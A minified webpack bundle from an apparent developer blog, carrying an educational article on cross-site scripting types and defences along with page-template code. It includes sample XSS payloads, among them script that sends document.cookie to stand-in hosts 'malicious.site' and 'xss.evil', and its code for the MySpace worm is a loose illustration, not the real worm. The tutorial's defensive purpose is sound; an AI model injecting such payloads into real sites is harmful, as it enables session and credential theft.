1"use strict";(self.webpackChunkblog=self.webpackChunkblog||[]).push([[9588],{305:function(e,n,t){t.r(n),t.d(n,{default:function(){return k}});var a=t(8453),s=t(6540);function l(e){const n=Object.assign({h1:"h1",p:"p",strong:"strong",ul:"ul",li:"li",hr:"hr",h2:"h2",span:"span",h3:"h3"},(0,a.RP)(),e.components);return s.createElement(s.Fragment,null,s.createElement(n.h1,null,"Demystifying XSS (Cross-Site Scripting): A Comprehensive Approach for Frontend Developers"),"\n",s.createElement(n.p,null,"As seasoned frontend developers, you are undoubtedly aware that Cross-Site Scripting, colloquially known as ",s.createElement(n.strong,null,"XSS"),", is one of the most prevalent and potentially detrimental vulnerabilities in web applications."),"\n",s.createElement(n.p,null,"The central danger of XSS lies in its ability to enable attackers to ",s.createElement(n.strong,null,"inject malicious JavaScript")," into your web page. Once the nefarious JavaScript is active, it can lead to a series of damaging actions, such as:"),"\n",s.createElement(n.ul,null,"\n",s.createElement(n.li,null,"Theft of cookies and tokens, compromising authentication mechanisms"),"\n",s.createElement(n.li,null,"Logging keystrokes, thereby accessing sensitive user inputs"),"\n",s.createElement(n.li,null,"Defacing user interface (UI), disrupting the user experience"),"\n",s.createElement(n.li,null,"Redirecting users to malicious websites"),"\n",s.createElement(n.li,null,"Installing fake login forms to phish for user credentials"),"\n",s.createElement(n.li,null,"Exfiltrating data via API calls, leading to data breaches"),"\n"),"\n",s.createElement(n.p,null,"The perennial presence of XSS in OWASP's Top 10 web vulnerabilities underlines its ubiquitous nature, potent capabilities, and often inconspicuous operation."),"\n",s.createElement(n.hr),"\n",s.createElement(n.h2,null,"Unearthing the Causes of XSS"),"\n",s.createElement(n.p,null,"XSS typically occurs when:"),"\n",s.createElement(n.ul,null,"\n",s.createElement(n.li,null,"User-controlled input is ",s.createElement(n.strong,null,"rendered into HTML")," without the necessary precautions, and"),"\n",s.createElement(n.li,null,"The input is ",s.createElement(n.strong,null,"not adequately escaped or sanitized"),", thereby allowing malicious scripts to execute."),"\n"),"\n",s.createElement(n.p,null,"To illustrate, let's consider the following scenarios:"),"\n",s.createElement(n.ul,null,"\n",s.createElement(n.li,null,"A blog comment is directly rendered without any filtering or sanitizing."),"\n",s.createElement(n.li,null,"A username is injected into the Document Object Model (DOM) without proper encoding."),"\n",s.createElement(n.li,null,"A URL parameter is inserted into a page without checking for potential script tags."),"\n"),"\n",s.createElement(n.p,null,"Here's a simple example to illustrate the concept:"),"\n",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<div class="gatsby-highlight" data-language="js"><pre style="counter-reset: linenumber NaN" class="language-js line-numbers"><code class="language-js">document<span class="token punctuation">.</span>body<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">"Welcome "</span> <span class="token operator">+</span> location<span class="token punctuation">.</span>hash<span class="token punctuation">;</span></code><span aria-hidden="true" class="line-numbers-rows" style="white-space: normal; width: auto; left: 0;"><span></span></span></pre></div>'}}),"\n",s.createElement(n.p,null,"Upon visiting a manipulated URL like ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">https://example.com/#<script>alert(1)</script></code>'}}),", an alert box will pop up, indicating a successful XSS attack."),"\n",s.createElement(n.hr),"\n",s.createElement(n.h2,null,"Categorizing XSS: Understanding its Many Forms"),"\n",s.createElement(n.p,null,"XSS attacks can be broadly classified into three categories:"),"\n",s.createElement(n.h3,null,"1. Stored XSS"),"\n",s.createElement(n.p,null,"In Stored XSS, the malicious payload is ",s.createElement(n.strong,null,"persisted")," (e.g., in a database) and subsequently served to users. This type of XSS is commonly seen in:"),"\n",s.createElement(n.ul,null,"\n",s.createElement(n.li,null,"Forum posts"),"\n",s.createElement(n.li,null,"Comments"),"\n",s.createElement(n.li,null,"User profiles"),"\n"),"\n",s.createElement(n.h3,null,"2. Reflected XSS"),"\n",s.createElement(n.p,null,"In Reflected XSS, the payload is embedded in the URL or query parameters and is reflected in the response. This is frequently observed in:"),"\n",s.createElement(n.ul,null,"\n",s.createElement(n.li,null,"Search results"),"\n",s.createElement(n.li,null,"Error messages"),"\n",s.createElement(n.li,null,"Redirects"),"\n"),"\n",s.createElement(n.h3,null,"3. DOM-Based XSS"),"\n",s.createElement(n.p,null,"In DOM-Based XSS, the injection occurs ",s.createElement(n.strong,null,"entirely within client-side JavaScript"),", with no server involvement. This can happen when user input is directly used to manipulate the DOM, as shown in the following example:"),"\n",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<div class="gatsby-highlight" data-language="js"><pre style="counter-reset: linenumber NaN" class="language-js line-numbers"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> location<span class="token punctuation">.</span>hash<span class="token punctuation">;</span>\ndocument<span class="token punctuation">.</span>body<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">"Hi "</span> <span class="token operator">+</span> user<span class="token punctuation">;</span></code><span aria-hidden="true" class="line-numbers-rows" style="white-space: normal; width: auto; left: 0;"><span></span><span></span></span></pre></div>'}}),"\n",s.createElement(n.hr),"\n",s.createElement(n.h2,null,"A Glimpse into a Real-World XSS Attack: The MySpace Worm (2005)"),"\n",s.createElement(n.p,null,"To understand the devastating potential of XSS, let's revisit a notorious real-world example - the MySpace Worm of 2005. A user named Samy Kamkar ingeniously injected a script into his profile:"),"\n",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<div class="gatsby-highlight" data-language="html"><pre style="counter-reset: linenumber NaN" class="language-html line-numbers"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">\n document<span class="token punctuation">.</span>body<span class="token punctuation">.</span>innerHTML <span class="token operator">+=</span> <span class="token string">
1\'I love Samy\'</span><span class="token punctuation">;</span>\n <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">\'https://malicious.site\'</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">method</span><span class="token operator">:</span> <span class="token string">\'POST\'</span><span class="token punctuation">,</span> <span class="token literal-property property">body</span><span class="token operator">:</span> document<span class="token punctuation">.</span>cookie <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>\n</span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span></code><span aria-hidden="true" class="line-numbers-rows" style="white-space: normal; width: auto; left: 0;"><span></span><span></span><span></span><span></span></span></pre></div>'}}),"\n",s.createElement(n.p,null,"This script automatically added Samy as a friend to anyone who viewed his profile. The worm quickly ",s.createElement(n.strong,null,"went viral"),", infecting over a million users within a short span of time."),"\n",s.createElement(n.hr),"\n",s.createElement(n.h2,null,"Prevention Strategies Against XSS Attacks"),"\n",s.createElement(n.h3,null,"1. Escaping Output"),"\n",s.createElement(n.p,null,"Escaping involves encoding potentially unsafe characters in user input when inserting content into the DOM. For instance, HTML encoding transforms ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text"><</code>'}})," into ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">&lt;</code>'}}),". It's safer to use ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">textContent</code>'}})," over ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">innerHTML</code>'}})," to prevent script execution:"),"\n",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<div class="gatsby-highlight" data-language="js"><pre style="counter-reset: linenumber NaN" class="language-js line-numbers"><code class="language-js">element<span class="token punctuation">.</span>textContent <span class="token operator">=</span> userInput<span class="token punctuation">;</span></code><span aria-hidden="true" class="line-numbers-rows" style="white-space: normal; width: auto; left: 0;"><span></span></span></pre></div>'}}),"\n",s.createElement(n.h3,null,"2. Sanitizing Rich Content"),"\n",s.createElement(n.p,null,"Sanitization involves stripping or altering potentially harmful data from user input. Libraries like DOMPurify or sanitize-html provide robust sanitization:"),"\n",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<div class="gatsby-highlight" data-language="js"><pre style="counter-reset: linenumber NaN" class="language-js line-numbers"><code class="language-js"><span class="token keyword">const</span> clean <span class="token operator">=</span> DOMPurify<span class="token punctuation">.</span><span class="token function">sanitize</span><span class="token punctuation">(</span>userInput<span class="token punctuation">)</span><span class="token punctuation">;</span>\ncontainer<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> clean<span class="token punctuation">;</span></code><span aria-hidden="true" class="line-numbers-rows" style="white-space: normal; width: auto; left: 0;"><span></span><span></span></span></pre></div>'}}),"\n",s.createElement(n.h3,null,"3. Avoidance of Dangerous APIs"),"\n",s.createElement(n.p,null,"Certain JavaScript APIs, such as ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">innerHTML</code>'}}),", ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">document.write</code>'}}),", ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">eval</code>'}}),", ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">Function</code>'}}),", ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">setTimeout("code")</code>'}}),", and ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">dangerouslySetInnerHTML</code>'}})," in React, are particularly susceptible to XSS attacks. They should be avoided unless absolutely necessary, and never used with untrusted input."),"\n",s.createElement(n.h3,null,"4. Implementing CSP (Content Security Policy)"),"\n",s.createElement(n.p,null,"CSP is a powerful tool that allows you to specify the sources from which the browser is allowed to load resources. It can block inline scripts, third-party sources, and eval by default:"),"\n",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<div class="gatsby-highlight" data-language="http"><pre style="counter-reset: linenumber NaN" class="language-http line-numbers"><code class="language-http"><span class="token header"><span class="token header-name keyword">Content-Security-Policy</span><span class="token punctuation">:</span> <span class="token header-value csp languages-csp">script-src \'self\';
1 object-src \'none\';</span></span></code><span aria-hidden="true" class="line-numbers-rows" style="white-space: normal; width: auto; left: 0;"><span></span></span></pre></div>'}}),"\n",s.createElement(n.hr),"\n",s.createElement(n.h2,null,"Framework-Specific Protections Against XSS"),"\n",s.createElement(n.h3,null,"React"),"\n",s.createElement(n.p,null,"React escapes HTML by default, making it safer against XSS. However, using ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">dangerouslySetInnerHTML</code>'}})," bypasses this security and should be used with extreme caution:"),"\n",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<div class="gatsby-highlight" data-language="jsx"><pre style="counter-reset: linenumber NaN" class="language-jsx line-numbers"><code class="language-jsx"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span><span class="token punctuation">></span></span><span class="token punctuation">{</span>userInput<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>div</span><span class="token punctuation">></span></span> <span class="token comment">// safe</span>\n\n<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">dangerouslySetInnerHTML</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">__html</span><span class="token operator">:</span> userInput <span class="token punctuation">}</span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span> <span class="token comment">// â ï¸ potentially vulnerable</span></code><span aria-hidden="true" class="line-numbers-rows" style="white-space: normal; width: auto; left: 0;"><span></span><span></span><span></span></span></pre></div>'}}),"\n",s.createElement(n.h3,null,"Vue"),"\n",s.createElement(n.p,null,"Vue automatically escapes any interpolated content. However, the ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">v-html</code>'}})," directive, which allows HTML insertion, should be used judiciously as it may pave the way for XSS attacks."),"\n",s.createElement(n.h3,null,"Angular"),"\n",s.createElement(n.p,null,"Angular uses ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">DomSanitizer</code>'}})," for sanitizing HTML and other potentially risky content. It also provides context-aware escaping, ensuring that content is escaped appropriately based on its context in the DOM."),"\n",s.createElement(n.hr),"\n",s.createElement(n.h2,null,"Testing for XSS"),"\n",s.createElement(n.p,null,"Regular testing for XSS vulnerabilities is crucial. Here are some tools and strategies you could employ:"),"\n",s.createElement(n.ul,null,"\n",s.createElement(n.li,null,"Chrome DevTools: Paste payloads directly into your HTML"),"\n",s.createElement(n.li,null,"XSSHunter, Burp Suite: These are comprehensive security testing tools"),"\n",s.createElement(n.li,null,"Manual code audit: Examine your rendering code for potential vulnerabilities"),"\n",s.createElement(n.li,null,"Look for unescaped user content and use of ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">innerHTML</code>'}})),"\n"),"\n",s.createElement(n.p,null,"You can try various payloads like:"),"\n",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<div class="gatsby-highlight" data-language="html"><pre style="counter-reset: linenumber NaN" class="language-html line-numbers"><code class="language-html">"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span>\n<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">
1\'https://xss.evil?cookie=\'</span> <span class="token operator">+</span> document<span class="token punctuation">.</span>cookie<span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span></code><span aria-hidden="true" class="line-numbers-rows" style="white-space: normal; width: auto; left: 0;"><span></span><span></span></span></pre></div>'}}),"\n",s.createElement(n.hr),"\n",s.createElement(n.h2,null,"Anti-Patterns to Avoid"),"\n",s.createElement(n.ul,null,"\n",s.createElement(n.li,null,"Rendering user content with ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">innerHTML</code>'}})),"\n",s.createElement(n.li,null,"Accepting raw HTML input without appropriate sanitization"),"\n",s.createElement(n.li,null,"Using ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">dangerouslySetInnerHTML</code>'}})," in React without considering the risks"),"\n",s.createElement(n.li,null,"Allowing ",s.createElement(n.span,{dangerouslySetInnerHTML:{__html:'<code class="language-text">eval</code>'}})," or JavaScript injection via query parameters"),"\n"),"\n",s.createElement(n.hr),"\n",s.createElement(n.h2,null,"Conclusion: Respecting the DOM"),"\n",s.createElement(n.p,null,"XSS is a potent reminder of the risks involved when user input is trusted blindly and the sanctity of the DOM is disregarded. As responsible developers, it is incumbent upon us to protect our users and the integrity of our applications."),"\n",s.createElement(n.p,null,"Adopt a balanced approach: Escape your outputs, sanitize your inputs, and audit your DOM mutations meticulously."),"\n",s.createElement(n.p,null,"Remember, even a single line of unsafe code can compromise ",s.createElement(n.strong,null,"everything"),". Stay vigilant, stay safe."))}var r=function(e){void 0===e&&(e={});const{wrapper:n}=Object.assign({},(0,a.RP)(),e.components);return n?s.createElement(n,e,s.createElement(l,e)):l(e)},o=t(4794),c=t(8154),i=t(9807),p=t(7772),u=t(984),m=t(5154),d=t(1166),g=t(893);const h={MermaidDiagram:m.A,EmailOff:d.A,pre:e=>s.createElement("div",Object.assign({},e,{className:"overflow-auto"})),iframe:e=>s.createElement("div",{className:"aspect-video"},s.createElement("iframe",Object.assign({},e,{className:"w-full h-full rounded-lg"})))},y=e=>{let{data:n,children:t}=e;if(!n||!n.mdx)return s.createElement(i.A,null,s.createElement("div",{className:"max-w-4xl mx-auto px-4 py-8"},s.createElement("h1",{className:"text-4xl font-bold mb-8"},"Post not found"),s.createElement("p",null,"Sorry, the post you're looking for doesn't exist.")));const{frontmatter:l,fields:r}=n.mdx,{title:m,publishedAt:d,publishedAtISO:y,summary:k,label:E,tags:f}=l,{readingTimeMinutes:b}=r,{siteUrl:v}=n.site.siteMetadata,x=`${v}${r.slug}`,w=r.slug.split("/").at(-2)||"",S=`https://bx.ehosseini.info/?text=${w}&complexity=6&format=webp&width=1200&height=675&title=${encodeURIComponent(m)}&avatar=1`,M=`https://bx.ehosseini.info/?text=${w}&complexity=6&format=webp&width=1200&height=675&align=bottom`,T=n.relatedPosts.nodes.filter((e=>e.fields.slug!==r.slug)).slice(0,3),_={"@type":"BlogPosting",headline:m,datePublished:y,dateModified:y,description:k,author:{"@id":g.eo},publisher:{"@id":g.eo},mainEntityOfPage:x,keywords:null==f?void 0:f.join(", "),image:S,url:x};return s.createElement(i.A,{schemaExtra:[_]},s.createElement(c.m,null,s.createElement("title",null,m," | ",n.site.siteMetadata.title),s.createElement("meta",{name:"description",content:k}),s.createElement("meta",{name:"keywords",content:f.join(", ")}),s.createElement("meta",{property:"og:type",content:"article"}),s.createElement("meta",{property:"og:url",content:x}),s.createElement("meta",{property:"og:title",content:m}),s.createElement("meta",{property:"og:description",content:k}),s.createElement("meta",{property:"og:image",content:S}),s.createElement("meta",{property:"og:image:secure_url",content:S}),s.createElement("meta",{property:"og:image:alt",content:m}
1),s.createElement("meta",{property:"og:image:width",content:"1200"}),s.createElement("meta",{property:"og:image:height",content:"675"}),s.createElement("meta",{property:"og:site_name",content:n.site.siteMetadata.title}),s.createElement("meta",{property:"article:published_time",content:y}),s.createElement("meta",{name:"twitter:card",content:"summary_large_image"}),s.createElement("meta",{name:"twitter:site",content:g._l.xHandle}),s.createElement("meta",{name:"twitter:creator",content:g._l.xHandle}),s.createElement("meta",{name:"twitter:title",content:m}),s.createElement("meta",{name:"twitter:description",content:k}),s.createElement("meta",{name:"twitter:image",content:S}),s.createElement("meta",{name:"twitter:image:alt",content:m}),s.createElement("link",{rel:"canonical",href:x})),s.createElement("div",{className:"relative w-full"},s.createElement("div",{className:"post-hero-bg-layer absolute inset-0 z-0",style:{backgroundImage:`url(${M})`,backgroundSize:"cover",backgroundRepeat:"no-repeat",backgroundPosition:"center"},"aria-hidden":"true"}),s.createElement("header",{className:"relative z-10 mb-8 max-w-3xl mx-auto px-4 pt-8 pb-4"},s.createElement("div",{className:"flex flex-col sm:flex-row sm:items-center gap-3 text-sm text-gray-900 mb-4"},s.createElement("time",{className:"flex items-center"},s.createElement("svg",{className:"w-4 h-4 mr-2",fill:"none",stroke:"currentColor",viewBox:"0 0 24 24"},s.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M8 7V3m8 4V3m-9 8h10M5 21h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})),d),s.createElement("span",{className:"flex items-center"},s.createElement("svg",{className:"w-4 h-4 mr-2",fill:"none",stroke:"currentColor",viewBox:"0 0 24 24"},s.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"})),b," min read"),E&&s.createElement("span",{className:"flex items-center"},s.createElement("svg",{className:"w-4 h-4 mr-2",fill:"none",stroke:"currentColor",viewBox:"0 0 24 24"},s.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M7 7h.01M7 3h5c.512 0 1.024.195 1.414.586l7 7a2 2 0 010 2.828l-7 7a2 2 0 01-2.828 0l-7-7A1.994 1.994 0 013 12V7a4 4 0 014-4z"})),E)),s.createElement("div",{className:"mb-6"},s.createElement("h1",{className:"text-3xl font-playfair font-medium text-gray-900 leading-tight mb-4"},m)),s.createElement("div",{className:"mb-6"},s.createElement("p",{className:"text-md leading-relaxed mb-4 text-gray-900"},k),s.createElement("div",{className:"flex flex-wrap gap-2"},null==f?void 0:f.map((e=>s.createElement(p.A,{key:e,tag:e,className:"text-sm"}))))))),s.createElement("article",{className:"max-w-3xl mx-auto px-4 pyb-8"},s.createElement("div",{className:""},s.createElement("div",{className:"flex items-center justify-between mb-4"},s.createElement("div",null),s.createElement("div",{className:"flex space-x-3"},s.createElement("a",{href:`https://twitter.com/intent/tweet?text=${encodeURIComponent(m)}&url=${encodeURIComponent(x)}&hashtags=${encodeURIComponent(f.join(", "))}&image=${encodeURIComponent(M)}`,target:"_blank",rel:"noopener noreferrer",className:"inline-flex items-center px-3 py-1.5 rounded-full text-sm font-medium text-gray-700 dark:text-gray-300 bg-gray-100 dark:bg-gray-800 hover:bg-gray-200 dark:hover:bg-gray-700 transition-colors"},s.createElement("svg",{className:"w-4 h-4 mr-1.5",fill:"currentColor",viewBox:"0 0 24 24"},s.createElement("path",{d:"M8.29 20.251c7.547 0 11.675-6.253 11.675-11.675 0-.178 0-.355-.012-.53A8.348 8.348 0 0022 5.92a8.19 8.19 0 01-2.357.646 4.118 4.118 0 001.804-2.27 8.224 8.224 0 01-2.605.996 4.107 4.107 0 00-6.993 3.743 11.65 11.65 0 01-8.457-4.287 4.106 4.106 0 001.27 5.477A4.072 4.072 0 012.8 9.713v.052a4.105 4.105 0 003.292 4.022 4.095 4.095 0 01-1.853.07 4.108 4.108 0 003.834 2.85A8.233 8.233 0 012 18.407a11.616 11.616 0 006.29 1.84"})),"Share"),s.createElement("a",{href:`https://www.linkedin.com/sharing/share-offsite/?url=${encodeURIComponent(x)}&title=${encodeURIComponent(m)}&summary=${encodeURIComponent(k)}&image=${encodeURIComponent(M)}`,target:"_blank",rel:"noopener noreferrer",className:"inline-flex items-center px-3 py-1.5 rounded-full text-sm font-medium text-gray-700 dark:text-gray-300 bg-gray-100 dark:bg-gray-800 hover:bg-gray-200 dark:hover:bg-gray-700 transition-colors"},s.createElement("svg",{className:"w-4 h-4 mr-1.5",fill:"currentColor",viewBox:"0 0 24 24"},s.createElement("path",{d:"M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85 3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433c-1.144 0-2.063-.926-2.063-2.065 0-1.138.92-2.063 2.063-2.063 1.14 0 2.064.925 2.064 2.063 0 1.139-.925 2.065-2.064 2.065zm1.782 13.019H3.555V9h3.564v11.452zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0h.003z"})),"Share"),s.createElement("button",{onClick:()=>{navigator.clipboard.writeText(x)},className:"inline-flex items-center px-3 py-1.5 rounded-full text-sm font-medium text-gray-700 dark:text-gray-300 bg-gray-100 dark:bg-gray-800 hover:bg-gray-200 dark:hover:bg-gray-700 transition-colors"},s.createElement("svg",{className:"w-4 h-4 mr-1.5",fill:"none",stroke:"currentColor",viewBox:"0 0 24 24"},s.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M8 5H6a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2v-1M8 5a2 2 0 002 2h2a2 2 0 002-2M8 5a2 2 0 012-2h2a2 2 0 012 2m0 0h2a2 2 0 012 2v3m2 4H10m0 0l3-3m-3 3l3 3"})),"Copy Link")))),s.createElement("div",{className:"prose prose-md max-w-none prose-headings:font-playfair prose-headings:font-medium prose-a:text-blue-600 dar
1k:prose-a:text-blue-400 prose-a:no-underline hover:prose-a:text-blue-800 dark:hover:prose-a:text-blue-300 prose-img:rounded-lg prose-img:shadow-md dark:prose-invert dark:prose-headings:text-gray-100 dark:prose-p:text-gray-200 dark:prose-strong:text-gray-100 dark:prose-code:text-gray-200 dark:prose-pre:bg-gray-800 dark:prose-blockquote:text-gray-300 dark:prose-li:text-gray-200 dark:prose-td:text-gray-200 dark:prose-th:text-gray-200"},s.createElement(a.xA,{components:h},t)),s.createElement("div",{className:"mt-16 pt-8 border-t border-gray-200 dark:border-gray-700"},s.createElement(u.A,null)),T.length>0&&s.createElement("div",{className:"mt-16 pt-8 border-t border-gray-200 dark:border-gray-700"},s.createElement("h2",{className:"text-2xl font-playfair font-medium text-gray-900 dark:text-gray-100 mb-6"},"Related Posts"),s.createElement("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-6"},T.map((e=>s.createElement(o.Link,{key:e.id,to:e.fields.slug,className:"block bg-white dark:bg-gray-800 p-4 rounded-lg shadow-sm hover:shadow-md transition-shadow"},s.createElement("h3",{className:"text-lg font-playfair font-medium text-gray-900 dark:text-gray-100 mb-2"},e.frontmatter.title),s.createElement("div",{className:"flex items-center text-sm text-gray-500 dark:text-gray-400 mb-2"},s.createElement("span",null,e.frontmatter.publishedAt)),s.createElement("p",{className:"text-gray-600 dark:text-gray-300 text-sm line-clamp-2"},e.frontmatter.summary),s.createElement("div",{className:"mt-3 flex flex-wrap gap-1"},e.frontmatter.tags.map((e=>s.createElement(p.A,{key:e,tag:e,className:"text-xs"})))))))))))};function k(e){return s.createElement(y,e,s.createElement(r,e))}}}]); 2//# sourceMappingURL=component---src-templates-post-tsx-content-file-path-src-posts-security-xss-mdx-5d11854d1927fc59418d.js.map
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.